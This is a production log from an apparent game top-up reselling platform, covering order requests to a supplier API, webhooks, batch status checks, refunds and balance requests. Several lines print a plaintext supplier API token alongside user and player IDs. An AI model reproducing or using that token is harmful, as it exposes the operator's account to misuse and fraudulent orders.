[2026-03-24 16:25:44] production.INFO: Operation sent successfully {"operation_id":163810,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-L3c7B-1774358744","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:25:44"}},"processed_data":{"order_number":"ORD-L3c7B-1774358744","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 16:25:57] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-L3c7B-1774358744","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:25:57] production.INFO: Processed webhook data (normalized) {"id":"ORD-L3c7B-1774358744","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:25:57] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:25:57] production.INFO: SendAcceptReject: Notification queued {"user_id":45,"notification_type":"order_approved","reference_id":178900} 
[2026-03-24 16:25:57] production.INFO: Order updated successfully. Order ID: 178900, Status: completed  
[2026-03-24 16:25:57] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-L3c7B-1774358744","status":"completed","codes_count":0} 
[2026-03-24 16:25:59] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 45  
[2026-03-24 16:26:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"pa6j9nABRiUJj4sH844Wg9acv7ychQHl","execution_time":"2026-03-24 16:26:02"} 
[2026-03-24 16:26:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"pa6j9nABRiUJj4sH844Wg9acv7ychQHl","execution_time":"2026-03-24 16:26:02","total_operations":3,"sites_count":1} 
[2026-03-24 16:26:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"pa6j9nABRiUJj4sH844Wg9acv7ychQHl","execution_time":"2026-03-24 16:26:02","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-ladZn7i-1774358707","ORD-vaAee9-1774358736","ORD-wiQjO7-1774358743"]} 
[2026-03-24 16:26:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"pa6j9nABRiUJj4sH844Wg9acv7ychQHl","execution_time":"2026-03-24 16:26:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:26:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"pa6j9nABRiUJj4sH844Wg9acv7ychQHl","execution_time":"2026-03-24 16:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 16:26:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"pa6j9nABRiUJj4sH844Wg9acv7ychQHl","execution_time":"2026-03-24 16:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ladZn7i-1774358707","operation_id":163806} 
[2026-03-24 16:26:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"pa6j9nABRiUJj4sH844Wg9acv7ychQHl","execution_time":"2026-03-24 16:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:26:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"pa6j9nABRiUJj4sH844Wg9acv7ychQHl","execution_time":"2026-03-24 16:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wiQjO7-1774358743","operation_id":163809} 
[2026-03-24 16:26:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"pa6j9nABRiUJj4sH844Wg9acv7ychQHl","execution_time":"2026-03-24 16:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wiQjO7-1774358743","operation_id":163809,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 16:26:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"pa6j9nABRiUJj4sH844Wg9acv7ychQHl","execution_time":"2026-03-24 16:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wiQjO7-1774358743","operation_id":163809,"processed":0,"errors":0} 
[2026-03-24 16:26:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"pa6j9nABRiUJj4sH844Wg9acv7ychQHl","execution_time":"2026-03-24 16:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wiQjO7-1774358743","operation_id":163809} 
[2026-03-24 16:26:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-wiQjO7-1774358743","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:26:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-wiQjO7-1774358743","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:26:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:26:04] production.INFO: SendAcceptReject: Notification queued {"user_id":1285,"notification_type":"order_approved","reference_id":178901} 
[2026-03-24 16:26:04] production.INFO: Order updated successfully. Order ID: 178901, Status: completed  
[2026-03-24 16:26:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-wiQjO7-1774358743","status":"completed","codes_count":0} 
[2026-03-24 16:26:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1285  
[2026-03-24 16:26:34] production.INFO: Constructing job for order: 178902  
[2026-03-24 16:26:35] production.INFO: Handling job for order: 178902  
[2026-03-24 16:26:35] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:26:35] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:26:35] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/591/params?qty=17000&uuid=faf3862c-6ebb-4868-8306-40f9b8a0c86c&Player_ID=17333066  
[2026-03-24 16:26:35] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/591/params?qty=17000&uuid=faf3862c-6ebb-4868-8306-40f9b8a0c86c&Player_ID=17333066","has_body":false} 
[2026-03-24 16:26:36] production.INFO: Operation sent successfully {"operation_id":163811,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-MqnOn0-1774358796","amount":1.6633853999999999029313357823411934077739715576171875,"status":"processing","product":"Yoho Amount","game":"Yoho","notes":[],"created_at":"2026-03-24 16:26:36"}},"processed_data":{"order_number":"ORD-MqnOn0-1774358796","amount":1.6633853999999999029313357823411934077739715576171875,"status":"processing","product":"Yoho Amount","game":"Yoho"}} 
[2026-03-24 16:26:45] production.INFO: Constructing job for order: 178903  
[2026-03-24 16:26:48] production.INFO: Handling job for order: 178903  
[2026-03-24 16:26:48] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:26:48] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:26:48] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=cb9b060d-d98a-44cb-be5d-1b704d3ee9bb&Player_ID=13140743084  
[2026-03-24 16:26:48] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=cb9b060d-d98a-44cb-be5d-1b704d3ee9bb&Player_ID=13140743084","has_body":false} 
[2026-03-24 16:26:49] production.INFO: Operation sent successfully {"operation_id":163812,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-d2XlveYU-1774358809","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 16:26:49"}},"processed_data":{"order_number":"ORD-d2XlveYU-1774358809","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 16:26:57] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"12000.0","mainamount":"12000","operation_number":"158412844","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php5jseh49vbh4b9GkjKx8"}},"user_id":1141} 
[2026-03-24 16:26:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 16:26:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 16:26:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 16:26:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 16:26:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 16:26:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 16:26:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 16:26:58] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 16:26:58] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18651,"user_id":1141,"amount":12000.0,"admins_notified":7} 
[2026-03-24 16:27:21] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-d2XlveYU-1774358809","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:27:21] production.INFO: Processed webhook data (normalized) {"id":"ORD-d2XlveYU-1774358809","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:27:21] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:27:21] production.INFO: SendAcceptReject: Notification queued {"user_id":1285,"notification_type":"order_approved","reference_id":178903} 
[2026-03-24 16:27:21] production.INFO: Order updated successfully. Order ID: 178903, Status: completed  
[2026-03-24 16:27:21] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-d2XlveYU-1774358809","status":"completed","codes_count":0} 
[2026-03-24 16:27:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1285  
[2026-03-24 16:28:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"A3hMhoThYvCE5aGsnEdYXHsd91z9ShJF","execution_time":"2026-03-24 16:28:04"} 
[2026-03-24 16:28:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"A3hMhoThYvCE5aGsnEdYXHsd91z9ShJF","execution_time":"2026-03-24 16:28:04","total_operations":3,"sites_count":1} 
[2026-03-24 16:28:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"A3hMhoThYvCE5aGsnEdYXHsd91z9ShJF","execution_time":"2026-03-24 16:28:04","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-ladZn7i-1774358707","ORD-vaAee9-1774358736","ORD-MqnOn0-1774358796"]} 
[2026-03-24 16:28:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"A3hMhoThYvCE5aGsnEdYXHsd91z9ShJF","execution_time":"2026-03-24 16:28:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:28:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"A3hMhoThYvCE5aGsnEdYXHsd91z9ShJF","execution_time":"2026-03-24 16:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 16:28:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"A3hMhoThYvCE5aGsnEdYXHsd91z9ShJF","execution_time":"2026-03-24 16:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:28:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"A3hMhoThYvCE5aGsnEdYXHsd91z9ShJF","execution_time":"2026-03-24 16:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":2,"skipped":1,"updates_prepared":2} 
[2026-03-24 16:28:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"A3hMhoThYvCE5aGsnEdYXHsd91z9ShJF","execution_time":"2026-03-24 16:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 16:28:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"A3hMhoThYvCE5aGsnEdYXHsd91z9ShJF","execution_time":"2026-03-24 16:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"count":2} 
[2026-03-24 16:28:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"A3hMhoThYvCE5aGsnEdYXHsd91z9ShJF","execution_time":"2026-03-24 16:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"count":2} 
[2026-03-24 16:28:04] production.INFO: Bulk processed user refunds {"job":"Quryjob","job_id":"A3hMhoThYvCE5aGsnEdYXHsd91z9ShJF","execution_time":"2026-03-24 16:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"count":1} 
[2026-03-24 16:28:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"A3hMhoThYvCE5aGsnEdYXHsd91z9ShJF","execution_time":"2026-03-24 16:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"user_id":529,"notification_type":"order_rejected","reference_id":178896} 
[2026-03-24 16:28:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"A3hMhoThYvCE5aGsnEdYXHsd91z9ShJF","execution_time":"2026-03-24 16:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"user_id":627,"notification_type":"order_approved","reference_id":178902} 
[2026-03-24 16:28:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"A3hMhoThYvCE5aGsnEdYXHsd91z9ShJF","execution_time":"2026-03-24 16:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":1} 
[2026-03-24 16:28:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"A3hMhoThYvCE5aGsnEdYXHsd91z9ShJF","execution_time":"2026-03-24 16:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 16:28:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"A3hMhoThYvCE5aGsnEdYXHsd91z9ShJF","execution_time":"2026-03-24 16:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":2,"errors":0} 
[2026-03-24 16:28:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"A3hMhoThYvCE5aGsnEdYXHsd91z9ShJF","execution_time":"2026-03-24 16:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":2,"errors":0} 
[2026-03-24 16:28:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"A3hMhoThYvCE5aGsnEdYXHsd91z9ShJF","execution_time":"2026-03-24 16:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:28:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 529  
[2026-03-24 16:28:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 529  
[2026-03-24 16:28:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 627  
[2026-03-24 16:28:44] production.INFO: Constructing job for order: 178904  
[2026-03-24 16:28:46] production.INFO: Handling job for order: 178904  
[2026-03-24 16:28:46] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:28:46] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:28:46] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=6d852cc5-4aff-4112-8098-0b423a832584&Player_ID=5543987053  
[2026-03-24 16:28:46] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=6d852cc5-4aff-4112-8098-0b423a832584&Player_ID=5543987053","has_body":false} 
[2026-03-24 16:28:47] production.INFO: Operation sent successfully {"operation_id":163813,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-8NXbKpo-1774358927","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:28:47"}},"processed_data":{"order_number":"ORD-8NXbKpo-1774358927","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 16:29:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-8NXbKpo-1774358927","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:29:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-8NXbKpo-1774358927","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:29:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:29:03] production.INFO: SendAcceptReject: Notification queued {"user_id":39,"notification_type":"order_approved","reference_id":178904} 
[2026-03-24 16:29:03] production.INFO: Order updated successfully. Order ID: 178904, Status: completed  
[2026-03-24 16:29:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-8NXbKpo-1774358927","status":"completed","codes_count":0} 
[2026-03-24 16:29:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 39  
[2026-03-24 16:29:13] production.INFO: Constructing job for order: 178905  
[2026-03-24 16:29:14] production.INFO: Handling job for order: 178905  
[2026-03-24 16:29:14] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:29:14] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:29:14] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=2cae94cb-9af7-4ea0-8c16-ae0e79762eee&Player_ID=7858493997  
[2026-03-24 16:29:14] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=2cae94cb-9af7-4ea0-8c16-ae0e79762eee&Player_ID=7858493997","has_body":false} 
[2026-03-24 16:29:15] production.INFO: Operation sent successfully {"operation_id":163814,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-iEKaA-1774358955","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 16:29:15"}},"processed_data":{"order_number":"ORD-iEKaA-1774358955","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 16:29:37] production.INFO: SendAcceptReject: Notification queued {"user_id":1414,"notification_type":"request_approved","reference_id":18646} 
[2026-03-24 16:29:39] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1414  
[2026-03-24 16:29:43] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-iEKaA-1774358955","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:29:43] production.INFO: Processed webhook data (normalized) {"id":"ORD-iEKaA-1774358955","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:29:43] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:29:43] production.INFO: SendAcceptReject: Notification queued {"user_id":1242,"notification_type":"order_approved","reference_id":178905} 
[2026-03-24 16:29:43] production.INFO: Order updated successfully. Order ID: 178905, Status: completed  
[2026-03-24 16:29:43] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-iEKaA-1774358955","status":"completed","codes_count":0} 
[2026-03-24 16:29:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1242  
[2026-03-24 16:29:57] production.INFO: Constructing job for order: 178906  
[2026-03-24 16:30:00] production.INFO: Handling job for order: 178906  
[2026-03-24 16:30:00] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 16:30:00] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 16:30:00] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=829727fa-60b8-4e04-b880-8625c1a213b9&Player_ID=5898052128  
[2026-03-24 16:30:00] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=829727fa-60b8-4e04-b880-8625c1a213b9&Player_ID=5898052128","has_body":false} 
[2026-03-24 16:30:01] production.INFO: Operation sent successfully {"operation_id":163815,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-v20vk09-1774359001","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 16:30:01"}},"processed_data":{"order_number":"ORD-v20vk09-1774359001","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 16:30:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"ndV4e8mRCqigCmk1fsGvJ5zkiypGatjQ","execution_time":"2026-03-24 16:30:04"} 
[2026-03-24 16:30:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"ndV4e8mRCqigCmk1fsGvJ5zkiypGatjQ","execution_time":"2026-03-24 16:30:04","total_operations":2,"sites_count":1} 
[2026-03-24 16:30:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"ndV4e8mRCqigCmk1fsGvJ5zkiypGatjQ","execution_time":"2026-03-24 16:30:04","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-vaAee9-1774358736","ORD-v20vk09-1774359001"]} 
[2026-03-24 16:30:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"ndV4e8mRCqigCmk1fsGvJ5zkiypGatjQ","execution_time":"2026-03-24 16:30:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 16:30:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"ndV4e8mRCqigCmk1fsGvJ5zkiypGatjQ","execution_time":"2026-03-24 16:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 16:30:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ndV4e8mRCqigCmk1fsGvJ5zkiypGatjQ","execution_time":"2026-03-24 16:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-v20vk09-1774359001","operation_id":163815} 
[2026-03-24 16:30:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"ndV4e8mRCqigCmk1fsGvJ5zkiypGatjQ","execution_time":"2026-03-24 16:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:30:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"ndV4e8mRCqigCmk1fsGvJ5zkiypGatjQ","execution_time":"2026-03-24 16:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 16:30:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"ndV4e8mRCqigCmk1fsGvJ5zkiypGatjQ","execution_time":"2026-03-24 16:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808,"processed":0,"errors":0} 
[2026-03-24 16:30:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"ndV4e8mRCqigCmk1fsGvJ5zkiypGatjQ","execution_time":"2026-03-24 16:30:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vaAee9-1774358736","operation_id":163808} 
[2026-03-24 16:30:04] production.INFO: Executing GetProducts task...  
[2026-03-24 16:30:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 16:30:04] production.INFO: Executing GetProducts task...  
[2026-03-24 16:30:06] production.INFO: async() رجع: true  
[2026-03-24 16:30:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 16:30:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 16:30:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 16:30:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 16:30:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 16:30:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 16:30:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 16:30:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 16:30:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 16:30:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 16:30:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 16:30:09] production.INFO: SendAcceptReject: Notification queued {"user_id":298,"notification_type":"request_approved","reference_id":18648} 
[2026-03-24 16:30:10] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 298  
[2026-03-24 16:30:13] production.INFO: SendAcceptReject: Notification queued {"user_id":69,"notification_type":"request_approved","reference_id":18649} 
[2026-03-24 16:30:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 69  
[2026-03-24 16:30:18] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-v20vk09-1774359001","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 16:30:18] production.INFO: Processed webhook data (normalized) {"id":"ORD-v20vk09-1774359001","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 16:30:18] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 16:30:18] production.INFO: SendAcceptReject: Notification queued {"user_id":600,"notification_type":"order_approved","reference_id":178906} 
[2026-03-24 16:30:18] production.INFO: Order updated successfully. Order ID: 178906, Status: completed  
[2026-03-24 16:30:18] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-v20vk09-1774359001","status":"completed","codes_count":0} 
[2026-03-24 16:30:19] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 600  
[2026-03-24 16:30:22] production.INFO: SendAcceptReject: Notification queued {"user_id":1706,"notification_type":"request_approved","reference_id":18650} 
[2026-03-24 16:30:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1706  
[2026-03-24 16:30:30] production.INFO: SendAcceptReject: Notification queued {"user_id":1141,"notification_type":"request_approved","reference_id":18651} 
[2026-03-24 16:30:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1141  
[2026-03-24 16:30:51] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"2000.0","mainamount":"2000","operation_number":"158416741","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php45cg6j6p3k3e28lyqZ5"}},"user_id":376} 
[2026-03-24 16:30:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 16:30:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 16:30:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 16:30:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 16:30:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 16:30:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 16:30:52] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 16:30:52] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 16:30:52] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18652,"user_id":376,"amount":2000.0,"admins_notified":7} 
[2026-03-24 16:31:00] production.INFO: SendAcceptReject: Notification queued {"user_id":645,"notification_type":"order_approved","reference_id":178898} 
[2026-03-24 16:31:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 645  
